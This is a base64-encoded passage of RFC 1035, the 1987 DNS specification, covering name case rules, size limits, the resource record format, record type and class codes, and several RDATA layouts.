ltYWwpLgoKICAgICAwIDEgMiAzIDQgNSA2IDcKICAgICstKy0rLSstKy0rLSstKy0rCiAgICB8MSAwIDEgMCAxIDAgMSAwfAogICAgKy0rLSstKy0rLSstKy0rLSsKClNpbWlsYXJseSwgd2hlbmV2ZXIgYSBtdWx0aS1vY3RldCBmaWVsZCByZXByZXNlbnRzIGEgbnVtZXJpYyBxdWFudGl0eQp0aGUgbGVmdCBtb3N0IGJpdCBvZiB0aGUgd2hvbGUgZmllbGQgaXMgdGhlIG1vc3Qgc2lnbmlmaWNhbnQgYml0LiAgV2hlbgphIG11bHRpLW9jdGV0IHF1YW50aXR5IGlzIHRyYW5zbWl0dGVkIHRoZSBtb3N0IHNpZ25pZmljYW50IG9jdGV0IGlzCnRyYW5zbWl0dGVkIGZpcnN0LgoKMi4zLjMuIENoYXJhY3RlciBDYXNlCgpGb3IgYWxsIHBhcnRzIG9mIHRoZSBETlMgdGhhdCBhcmUgcGFydCBvZiB0aGUgb2ZmaWNpYWwgcHJvdG9jb2wsIGFsbApjb21wYXJpc29ucyBiZXR3ZWVuIGNoYXJhY3RlciBzdHJpbmdzIChlLmcuLCBsYWJlbHMsIGRvbWFpbiBuYW1lcywgZXRjLikKYXJlIGRvbmUgaW4gYSBjYXNlLWluc2Vuc2l0aXZlIG1hbm5lci4gIEF0IHByZXNlbnQsIHRoaXMgcnVsZSBpcyBpbgpmb3JjZSB0aHJvdWdob3V0IHRoZSBkb21haW4gc3lzdGVtIHdpdGhvdXQgZXhjZXB0aW9uLiAgSG93ZXZlciwgZnV0dXJlCmFkZGl0aW9ucyBiZXlvbmQgY3VycmVudCB1c2FnZSBtYXkgbmVlZCB0byB1c2UgdGhlIGZ1bGwgYmluYXJ5IG9jdGV0CmNhcGFiaWxpdGllcyBpbiBuYW1lcywgc28gYXR0ZW1wdHMgdG8gc3RvcmUgZG9tYWluIG5hbWVzIGluIDctYml0IEFTQ0lJCm9yIHVzZSBvZiBzcGVjaWFsIGJ5dGVzIHRvIHRlcm1pbmF0ZSBsYWJlbHMsIGV0Yy4sIHNob3VsZCBiZSBhdm9pZGVkLgoKV2hlbiBkYXRhIGVudGVycyB0aGUgZG9tYWluIHN5c3RlbSwgaXRzIG9yaWdpbmFsIGNhc2Ugc2hvdWxkIGJlCnByZXNlcnZlZCB3aGVuZXZlciBwb3NzaWJsZS4gIEluIGNlcnRhaW4gY2lyY3Vtc3RhbmNlcyB0aGlzIGNhbm5vdCBiZQpkb25lLiAgRm9yIGV4YW1wbGUsIGlmIHR3byBSUnMgYXJlIHN0b3JlZCBpbiBhIGRhdGFiYXNlLCBvbmUgYXQgeC55IGFuZApvbmUgYXQgWC5ZLCB0aGV5IGFyZSBhY3R1YWxseSBzdG9yZWQgYXQgdGhlIHNhbWUgcGxhY2UgaW4gdGhlIGRhdGFiYXNlLAphbmQgaGVuY2Ugb25seSBvbmUgY2FzaW5nIHdvdWxkIGJlIHByZXNlcnZlZC4gIFRoZSBiYXNpYyBydWxlIGlzIHRoYXQKY2FzZSBjYW4gYmUgZGlzY2FyZGVkIG9ubHkgd2hlbiBkYXRhIGlzIHVzZWQgdG8gZGVmaW5lIHN0cnVjdHVyZSBpbiBhCmRhdGFiYXNlLCBhbmQgdHdvIG5hbWVzIGFyZSBpZGVudGljYWwgd2hlbiBjb21wYXJlZCBpbiBhIGNhc2UKaW5zZW5zaXRpdmUgbWFubmVyLgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDldCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKTG9zcyBvZiBjYXNlIHNlbnNpdGl2ZSBkYXRhIG11c3QgYmUgbWluaW1pemVkLiAgVGh1cyB3aGlsZSBkYXRhIGZvciB4LnkKYW5kIFguWSBtYXkgYm90aCBiZSBzdG9yZWQgdW5kZXIgYSBzaW5nbGUgbG9jYXRpb24geC55IG9yIFguWSwgZGF0YSBmb3IKYS54IGFuZCBCLlggd291bGQgbmV2ZXIgYmUgc3RvcmVkIHVuZGVyIEEueCwgQS5YLCBiLngsIG9yIGIuWC4gIEluCmdlbmVyYWwsIHRoaXMgcHJlc2VydmVzIHRoZSBjYXNlIG9mIHRoZSBmaXJzdCBsYWJlbCBvZiBhIGRvbWFpbiBuYW1lLApidXQgZm9yY2VzIHN0YW5kYXJkaXphdGlvbiBvZiBpbnRlcmlvciBub2RlIGxhYmVscy4KClN5c3RlbXMgYWRtaW5pc3RyYXRvcnMgd2hvIGVudGVyIGRhdGEgaW50byB0aGUgZG9tYWluIGRhdGFiYXNlIHNob3VsZAp0YWtlIGNhcmUgdG8gcmVwcmVzZW50IHRoZSBkYXRhIHRoZXkgc3VwcGx5IHRvIHRoZSBkb21haW4gc3lzdGVtIGluIGEKY2FzZS1jb25zaXN0ZW50IG1hbm5lciBpZiB0aGVpciBzeXN0ZW0gaXMgY2FzZS1zZW5zaXRpdmUuICBUaGUgZGF0YQpkaXN0cmlidXRpb24gc3lzdGVtIGluIHRoZSBkb21haW4gc3lzdGVtIHdpbGwgZW5zdXJlIHRoYXQgY29uc2lzdGVudApyZXByZXNlbnRhdGlvbnMgYXJlIHByZXNlcnZlZC4KCjIuMy40LiBTaXplIGxpbWl0cwoKVmFyaW91cyBvYmplY3RzIGFuZCBwYXJhbWV0ZXJzIGluIHRoZSBETlMgaGF2ZSBzaXplIGxpbWl0cy4gIFRoZXkgYXJlCmxpc3RlZCBiZWxvdy4gIFNvbWUgY291bGQgYmUgZWFzaWx5IGNoYW5nZWQsIG90aGVycyBhcmUgbW9yZQpmdW5kYW1lbnRhbC4KCmxhYmVscyAgICAgICAgICA2MyBvY3RldHMgb3IgbGVzcwoKbmFtZXMgICAgICAgICAgIDI1NSBvY3RldHMgb3IgbGVzcwoKVFRMICAgICAgICAgICAgIHBvc2l0aXZlIHZhbHVlcyBvZiBhIHNpZ25lZCAzMiBiaXQgbnVtYmVyLgoKVURQIG1lc3NhZ2VzICAgIDUxMiBvY3RldHMgb3IgbGVzcwoKMy4gRE9NQUlOIE5BTUUgU1BBQ0UgQU5EIFJSIERFRklOSVRJT05TCgozLjEuIE5hbWUgc3BhY2UgZGVmaW5pdGlvbnMKCkRvbWFpbiBuYW1lcyBpbiBtZXNzYWdlcyBhcmUgZXhwcmVzc2VkIGluIHRlcm1zIG9mIGEgc2VxdWVuY2Ugb2YgbGFiZWxzLgpFYWNoIGxhYmVsIGlzIHJlcHJlc2VudGVkIGFzIGEgb25lIG9jdGV0IGxlbmd0aCBmaWVsZCBmb2xsb3dlZCBieSB0aGF0Cm51bWJlciBvZiBvY3RldHMuICBTaW5jZSBldmVyeSBkb21haW4gbmFtZSBlbmRzIHdpdGggdGhlIG51bGwgbGFiZWwgb2YKdGhlIHJvb3QsIGEgZG9tYWluIG5hbWUgaXMgdGVybWluYXRlZCBieSBhIGxlbmd0aCBieXRlIG9mIHplcm8uICBUaGUKaGlnaCBvcmRlciB0d28gYml0cyBvZiBldmVyeSBsZW5ndGggb2N0ZXQgbXVzdCBiZSB6ZXJvLCBhbmQgdGhlCnJlbWFpbmluZyBzaXggYml0cyBvZiB0aGUgbGVuZ3RoIGZpZWxkIGxpbWl0IHRoZSBsYWJlbCB0byA2MyBvY3RldHMgb3IKbGVzcy4KClRvIHNpbXBsaWZ5IGltcGxlbWVudGF0aW9ucywgdGhlIHRvdGFsIGxlbmd0aCBvZiBhIGRvbWFpbiBuYW1lIChpLmUuLApsYWJlbCBvY3RldHMgYW5kIGxhYmVsIGxlbmd0aCBvY3RldHMpIGlzIHJlc3RyaWN0ZWQgdG8gMjU1IG9jdGV0cyBvcgpsZXNzLgoKQWx0aG91Z2ggbGFiZWxzIGNhbiBjb250YWluIGFueSA4IGJpdCB2YWx1ZXMgaW4gb2N0ZXRzIHRoYXQgbWFrZSB1cCBhCmxhYmVsLCBpdCBpcyBzdHJvbmdseSByZWNvbW1lbmRlZCB0aGF0IGxhYmVscyBmb2xsb3cgdGhlIHByZWZlcnJlZApzeW50YXggZGVzY3JpYmVkIGVsc2V3aGVyZSBpbiB0aGlzIG1lbW8sIHdoaWNoIGlzIGNvbXBhdGlibGUgd2l0aApleGlzdGluZyBob3N0IG5hbWluZyBjb252ZW50aW9ucy4gIE5hbWUgc2VydmVycyBhbmQgcmVzb2x2ZXJzIG11c3QKY29tcGFyZSBsYWJlbHMgaW4gYSBjYXNlLWluc2Vuc2l0aXZlIG1hbm5lciAoaS5lLiwgQT1hKSwgYXNzdW1pbmcgQVNDSUkKd2l0aCB6ZXJvIHBhcml0eS4gIE5vbi1hbHBoYWJldGljIGNvZGVzIG11c3QgbWF0Y2ggZXhhY3RseS4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTBdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKMy4yLiBSUiBkZWZpbml0aW9ucwoKMy4yLjEuIEZvcm1hdAoKQWxsIFJScyBoYXZlIHRoZSBzYW1lIHRvcCBsZXZlbCBmb3JtYXQgc2hvd24gYmVsb3c6CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxICAxICAxICAxICAxICAxCiAgICAgIDAgIDEgIDIgIDMgIDQgIDUgIDYgIDcgIDggIDkgIDAgIDEgIDIgIDMgIDQgIDUKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgIC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8KICAgIC8gICAgICAgICAgICAgICAgICAgICAgTkFNRSAgICAgICAgICAgICAgICAgICAgIC8KICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIHwgICAgICAgICAgICAgICAgICAgICAgVFlQRSAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIHwgICAgICAgICAgICAgICAgICAgICBDTEFTUyAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIHwgICAgICAgICAgICAgICAgICAgICAgVFRMICAgICAgICAgICAgICAgICAgICAgIHwKICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIHwgICAgICAgICAgICAgICAgICAgUkRMRU5HVEggICAgICAgICAgICAgICAgICAgIHwKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLXwKICAgIC8gICAgICAgICAgICAgICAgICAgICBSREFUQSAgICAgICAgICAgICAgICAgICAgIC8KICAgIC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8KICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKCgp3aGVyZToKCk5BTUUgICAgICAgICAgICBhbiBvd25lciBuYW1lLCBpLmUuLCB0aGUgbmFtZSBvZiB0aGUgbm9kZSB0byB3aGljaCB0aGlzCiAgICAgICAgICAgICAgICByZXNvdXJjZSByZWNvcmQgcGVydGFpbnMuCgpUWVBFICAgICAgICAgICAgdHdvIG9jdGV0cyBjb250YWluaW5nIG9uZSBvZiB0aGUgUlIgVFlQRSBjb2Rlcy4KCkNMQVNTICAgICAgICAgICB0d28gb2N0ZXRzIGNvbnRhaW5pbmcgb25lIG9mIHRoZSBSUiBDTEFTUyBjb2Rlcy4KClRUTCAgICAgICAgICAgICBhIDMyIGJpdCBzaWduZWQgaW50ZWdlciB0aGF0IHNwZWNpZmllcyB0aGUgdGltZSBpbnRlcnZhbAogICAgICAgICAgICAgICAgdGhhdCB0aGUgcmVzb3VyY2UgcmVjb3JkIG1heSBiZSBjYWNoZWQgYmVmb3JlIHRoZSBzb3VyY2UKICAgICAgICAgICAgICAgIG9mIHRoZSBpbmZvcm1hdGlvbiBzaG91bGQgYWdhaW4gYmUgY29uc3VsdGVkLiAgWmVybwogICAgICAgICAgICAgICAgdmFsdWVzIGFyZSBpbnRlcnByZXRlZCB0byBtZWFuIHRoYXQgdGhlIFJSIGNhbiBvbmx5IGJlCiAgICAgICAgICAgICAgICB1c2VkIGZvciB0aGUgdHJhbnNhY3Rpb24gaW4gcHJvZ3Jlc3MsIGFuZCBzaG91bGQgbm90IGJlCiAgICAgICAgICAgICAgICBjYWNoZWQuICBGb3IgZXhhbXBsZSwgU09BIHJlY29yZHMgYXJlIGFsd2F5cyBkaXN0cmlidXRlZAogICAgICAgICAgICAgICAgd2l0aCBhIHplcm8gVFRMIHRvIHByb2hpYml0IGNhY2hpbmcuICBaZXJvIHZhbHVlcyBjYW4KICAgICAgICAgICAgICAgIGFsc28gYmUgdXNlZCBmb3IgZXh0cmVtZWx5IHZvbGF0aWxlIGRhdGEuCgpSRExFTkdUSCAgICAgICAgYW4gdW5zaWduZWQgMTYgYml0IGludGVnZXIgdGhhdCBzcGVjaWZpZXMgdGhlIGxlbmd0aCBpbgogICAgICAgICAgICAgICAgb2N0ZXRzIG9mIHRoZSBSREFUQSBmaWVsZC4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTFdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKUkRBVEEgICAgICAgICAgIGEgdmFyaWFibGUgbGVuZ3RoIHN0cmluZyBvZiBvY3RldHMgdGhhdCBkZXNjcmliZXMgdGhlCiAgICAgICAgICAgICAgICByZXNvdXJjZS4gIFRoZSBmb3JtYXQgb2YgdGhpcyBpbmZvcm1hdGlvbiB2YXJpZXMKICAgICAgICAgICAgICAgIGFjY29yZGluZyB0byB0aGUgVFlQRSBhbmQgQ0xBU1Mgb2YgdGhlIHJlc291cmNlIHJlY29yZC4KCjMuMi4yLiBUWVBFIHZhbHVlcwoKVFlQRSBmaWVsZHMgYXJlIHVzZWQgaW4gcmVzb3VyY2UgcmVjb3Jkcy4gIE5vdGUgdGhhdCB0aGVzZSB0eXBlcyBhcmUgYQpzdWJzZXQgb2YgUVRZUEVzLgoKVFlQRSAgICAgICAgICAgIHZhbHVlIGFuZCBtZWFuaW5nCgpBICAgICAgICAgICAgICAgMSBhIGhvc3QgYWRkcmVzcwoKTlMgICAgICAgICAgICAgIDIgYW4gYXV0aG9yaXRhdGl2ZSBuYW1lIHNlcnZlcgoKTUQgICAgICAgICAgICAgIDMgYSBtYWlsIGRlc3RpbmF0aW9uIChPYnNvbGV0ZSAtIHVzZSBNWCkKCk1GICAgICAgICAgICAgICA0IGEgbWFpbCBmb3J3YXJkZXIgKE9ic29sZXRlIC0gdXNlIE1YKQoKQ05BTUUgICAgICAgICAgIDUgdGhlIGNhbm9uaWNhbCBuYW1lIGZvciBhbiBhbGlhcwoKU09BICAgICAgICAgICAgIDYgbWFya3MgdGhlIHN0YXJ0IG9mIGEgem9uZSBvZiBhdXRob3JpdHkKCk1CICAgICAgICAgICAgICA3IGEgbWFpbGJveCBkb21haW4gbmFtZSAoRVhQRVJJTUVOVEFMKQoKTUcgICAgICAgICAgICAgIDggYSBtYWlsIGdyb3VwIG1lbWJlciAoRVhQRVJJTUVOVEFMKQoKTVIgICAgICAgICAgICAgIDkgYSBtYWlsIHJlbmFtZSBkb21haW4gbmFtZSAoRVhQRVJJTUVOVEFMKQoKTlVMTCAgICAgICAgICAgIDEwIGEgbnVsbCBSUiAoRVhQRVJJTUVOVEFMKQoKV0tTICAgICAgICAgICAgIDExIGEgd2VsbCBrbm93biBzZXJ2aWNlIGRlc2NyaXB0aW9uCgpQVFIgICAgICAgICAgICAgMTIgYSBkb21haW4gbmFtZSBwb2ludGVyCgpISU5GTyAgICAgICAgICAgMTMgaG9zdCBpbmZvcm1hdGlvbgoKTUlORk8gICAgICAgICAgIDE0IG1haWxib3ggb3IgbWFpbCBsaXN0IGluZm9ybWF0aW9uCgpNWCAgICAgICAgICAgICAgMTUgbWFpbCBleGNoYW5nZQoKVFhUICAgICAgICAgICAgIDE2IHRleHQgc3RyaW5ncwoKMy4yLjMuIFFUWVBFIHZhbHVlcwoKUVRZUEUgZmllbGRzIGFwcGVhciBpbiB0aGUgcXVlc3Rpb24gcGFydCBvZiBhIHF1ZXJ5LiAgUVRZUEVTIGFyZSBhCnN1cGVyc2V0IG9mIFRZUEVzLCBoZW5jZSBhbGwgVFlQRXMgYXJlIHZhbGlkIFFUWVBFcy4gIEluIGFkZGl0aW9uLCB0aGUKZm9sbG93aW5nIFFUWVBFcyBhcmUgZGVmaW5lZDoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTJdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKQVhGUiAgICAgICAgICAgIDI1MiBBIHJlcXVlc3QgZm9yIGEgdHJhbnNmZXIgb2YgYW4gZW50aXJlIHpvbmUKCk1BSUxCICAgICAgICAgICAyNTMgQSByZXF1ZXN0IGZvciBtYWlsYm94LXJlbGF0ZWQgcmVjb3JkcyAoTUIsIE1HIG9yIE1SKQoKTUFJTEEgICAgICAgICAgIDI1NCBBIHJlcXVlc3QgZm9yIG1haWwgYWdlbnQgUlJzIChPYnNvbGV0ZSAtIHNlZSBNWCkKCiogICAgICAgICAgICAgICAyNTUgQSByZXF1ZXN0IGZvciBhbGwgcmVjb3JkcwoKMy4yLjQuIENMQVNTIHZhbHVlcwoKQ0xBU1MgZmllbGRzIGFwcGVhciBpbiByZXNvdXJjZSByZWNvcmRzLiAgVGhlIGZvbGxvd2luZyBDTEFTUyBtbmVtb25pY3MKYW5kIHZhbHVlcyBhcmUgZGVmaW5lZDoKCklOICAgICAgICAgICAgICAxIHRoZSBJbnRlcm5ldAoKQ1MgICAgICAgICAgICAgIDIgdGhlIENTTkVUIGNsYXNzIChPYnNvbGV0ZSAtIHVzZWQgb25seSBmb3IgZXhhbXBsZXMgaW4KICAgICAgICAgICAgICAgIHNvbWUgb2Jzb2xldGUgUkZDcykKCkNIICAgICAgICAgICAgICAzIHRoZSBDSEFPUyBjbGFzcwoKSFMgICAgICAgICAgICAgIDQgSGVzaW9kIFtEeWVyIDg3XQoKMy4yLjUuIFFDTEFTUyB2YWx1ZXMKClFDTEFTUyBmaWVsZHMgYXBwZWFyIGluIHRoZSBxdWVzdGlvbiBzZWN0aW9uIG9mIGEgcXVlcnkuICBRQ0xBU1MgdmFsdWVzCmFyZSBhIHN1cGVyc2V0IG9mIENMQVNTIHZhbHVlczsgZXZlcnkgQ0xBU1MgaXMgYSB2YWxpZCBRQ0xBU1MuICBJbgphZGRpdGlvbiB0byBDTEFTUyB2YWx1ZXMsIHRoZSBmb2xsb3dpbmcgUUNMQVNTZXMgYXJlIGRlZmluZWQ6CgoqICAgICAgICAgICAgICAgMjU1IGFueSBjbGFzcwoKMy4zLiBTdGFuZGFyZCBSUnMKClRoZSBmb2xsb3dpbmcgUlIgZGVmaW5pdGlvbnMgYXJlIGV4cGVjdGVkIHRvIG9jY3VyLCBhdCBsZWFzdApwb3RlbnRpYWxseSwgaW4gYWxsIGNsYXNzZXMuICBJbiBwYXJ0aWN1bGFyLCBOUywgU09BLCBDTkFNRSwgYW5kIFBUUgp3aWxsIGJlIHVzZWQgaW4gYWxsIGNsYXNzZXMsIGFuZCBoYXZlIHRoZSBzYW1lIGZvcm1hdCBpbiBhbGwgY2xhc3Nlcy4KQmVjYXVzZSB0aGVpciBSREFUQSBmb3JtYXQgaXMga25vd24sIGFsbCBkb21haW4gbmFtZXMgaW4gdGhlIFJEQVRBCnNlY3Rpb24gb2YgdGhlc2UgUlJzIG1heSBiZSBjb21wcmVzc2VkLgoKPGRvbWFpbi1uYW1lPiBpcyBhIGRvbWFpbiBuYW1lIHJlcHJlc2VudGVkIGFzIGEgc2VyaWVzIG9mIGxhYmVscywgYW5kCnRlcm1pbmF0ZWQgYnkgYSBsYWJlbCB3aXRoIHplcm8gbGVuZ3RoLiAgPGNoYXJhY3Rlci1zdHJpbmc+IGlzIGEgc2luZ2xlCmxlbmd0aCBvY3RldCBmb2xsb3dlZCBieSB0aGF0IG51bWJlciBvZiBjaGFyYWN0ZXJzLiAgPGNoYXJhY3Rlci1zdHJpbmc+CmlzIHRyZWF0ZWQgYXMgYmluYXJ5IGluZm9ybWF0aW9uLCBhbmQgY2FuIGJlIHVwIHRvIDI1NiBjaGFyYWN0ZXJzIGluCmxlbmd0aCAoaW5jbHVkaW5nIHRoZSBsZW5ndGggb2N0ZXQpLgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDEzXQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCjMuMy4xLiBDTkFNRSBSREFUQSBmb3JtYXQKCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICAvICAgICAgICAgICAgICAgICAgICAgQ05BTUUgICAgICAgICAgICAgICAgICAgICAvCiAgICAvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgp3aGVyZToKCkNOQU1FICAgICAgICAgICBBIDxkb21haW4tbmFtZT4gd2hpY2ggc3BlY2lmaWVzIHRoZSBjYW5vbmljYWwgb3IgcHJpbWFyeQogICAgICAgICAgICAgICAgbmFtZSBmb3IgdGhlIG93bmVyLiAgVGhlIG93bmVyIG5hbWUgaXMgYW4gYWxpYXMuCgpDTkFNRSBSUnMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcsIGJ1dCBuYW1lIHNlcnZlcnMgbWF5CmNob29zZSB0byByZXN0YXJ0IHRoZSBxdWVyeSBhdCB0aGUgY2Fub25pY2FsIG5hbWUgaW4gY2VydGFpbiBjYXNlcy4gIFNlZQp0aGUgZGVzY3JpcHRpb24gb2YgbmFtZSBzZXJ2ZXIgbG9naWMgaW4gW1JGQy0xMDM0XSBmb3IgZGV0YWlscy4KCjMuMy4yLiBISU5GTyBSREFUQSBmb3JtYXQKCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICAvICAgICAgICAgICAgICAgICAgICAgIENQVSAgICAgICAgICAgICAgICAgICAgICAvCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICAvICAgICAgICAgICAgICAgICAgICAgICBPUyAgICAgICAgICAgICAgICAgICAgICAvCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgp3aGVyZToKCkNQVSAgICAgICAgICAgICBBIDxjaGFyYWN0ZXItc3RyaW5nPiB3aGljaCBzcGVjaWZpZXMgdGhlIENQVSB0eXBlLgoKT1MgICAgICAgICAgICAgIEEgPGNoYXJhY3Rlci1zdHJpbmc+IHdoaWNoIHNwZWNpZmllcyB0aGUgb3BlcmF0aW5nCiAgICAgICAgICAgICAgICBzeXN0ZW0gdHlwZS4KClN0YW5kYXJkIHZhbHVlcyBmb3IgQ1BVIGFuZCBPUyBjYW4gYmUgZm91bmQgaW4gW1JGQy0xMDEwXS4KCkhJTkZPIHJlY29yZHMgYXJlIHVzZWQgdG8gYWNxdWlyZSBnZW5lcmFsIGluZm9ybWF0aW9uIGFib3V0IGEgaG9zdC4gIFRoZQptYWluIHVzZSBpcyBmb3IgcHJvdG9jb2xzIHN1Y2ggYXMgRlRQIHRoYXQgY2FuIHVzZSBzcGVjaWFsIHByb2NlZHVyZXMKd2hlbiB0YWxraW5nIGJldHdlZW4gbWFjaGluZXMgb3Igb3BlcmF0aW5nIHN5c3RlbXMgb2YgdGhlIHNhbWUgdHlwZS4KCjMuMy4zLiBNQiBSREFUQSBmb3JtYXQgKEVYUEVSSU1FTlRBTCkKCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICAvICAgICAgICAgICAgICAgICAgIE1BRE5BTUUgICAgICAgICAgICAgICAgICAgICAvCiAgICAvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgp3aGVyZToKCk1BRE5BTUUgICAgICAgICBBIDxkb21haW4tbmFtZT4gd2hpY2ggc3BlY2lmaWVzIGEgaG9zdCB3aGljaCBoYXMgdGhlCiAgICAgICAgICAgICAgICBzcGVjaWZpZWQgbWFpbGJveC4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTRdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKTUIgcmVjb3JkcyBjYXVzZSBhZGRpdGlvbmFsIHNlY3Rpb24gcHJvY2Vzc2luZyB3aGljaCBsb29rcyB1cCBhbiBBIHR5cGUKUlJzIGNvcnJlc3BvbmRpbmcgdG8gTUFETkFNRS4KCjMuMy40LiBNRCBSREFUQSBmb3JtYXQgKE9ic29sZXRlKQoKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIC8gICAgICAgICAgICAgICAgICAgTUFETkFNRSAgICAgICAgICAgICAgICAgICAgIC8KICAgIC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8KICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKCndoZXJlOgoKTUFETkFNRSAgICAgICAgIEEgPGRvbWFpbi1uYW1lPiB3aGljaCBzcGVjaWZpZXMgYSBob3N0IHdoaWNoIGhhcyBhIG1haWwKICAgICAgICAgICAgICAgIGFnZW50IGZvciB0aGUgZG9tYWluIHdoaWNoIHNob3VsZCBiZSBhYmxlIHRvIGRlbGl2ZXIKICAgICAgICAgICAgICAgIG1haWwgZm9yIHRoZSBkb21haW4uCgpNRCByZWNvcmRzIGNhdXNlIGFkZGl0aW9uYWwgc2VjdGlvbiBwcm9jZXNzaW5nIHdoaWNoIGxvb2tzIHVwIGFuIEEgdHlwZQpyZWNvcmQgY29ycmVzcG9uZGluZyB0byBNQUROQU1FLgoKTUQgaXMgb2Jzb2xldGUuICBTZWUgdGhlIGRlZmluaXRpb24gb2YgTVggYW5kIFtSRkMtOTc0XSBmb3IgZGV0YWlscyBvZgp0aGUgbmV3IHNjaGVtZS4gIFRoZSByZWNvbW1lbmRlZCBwb2xpY3kgZm9yIGRlYWxpbmcgd2l0aCBNRCBSUnMgZm91bmQgaW4KYSBtYXN0ZXIgZmlsZSBpcyB0byByZWplY3QgdGhlbSwgb3IgdG8gY29udmVydCB0aGVtIHRvIE1YIFJScyB3aXRoIGEKcHJlZmVyZW5jZSBvZiAwLgoKMy4zLjUuIE1GIFJEQVRBIGZvcm1hdCAoT2Jzb2xldGUpCgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICBNQUROQU1FICAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpNQUROQU1FICAgICAgICAgQSA8ZG9tYWluLW5hbWU+IHdoaWNoIHNwZWNpZmllcyBhIGhvc3Qgd2hpY2ggaGFzIGEgbWFpbAogICAgICAgICAgICAgICAgYWdlbnQgZm9yIHRoZSBkb21haW4gd2hpY2ggd2lsbCBhY2NlcHQgbWFpbCBmb3IKICAgICAgICAgICAgICAgIGZvcndhcmRpbmcgdG8g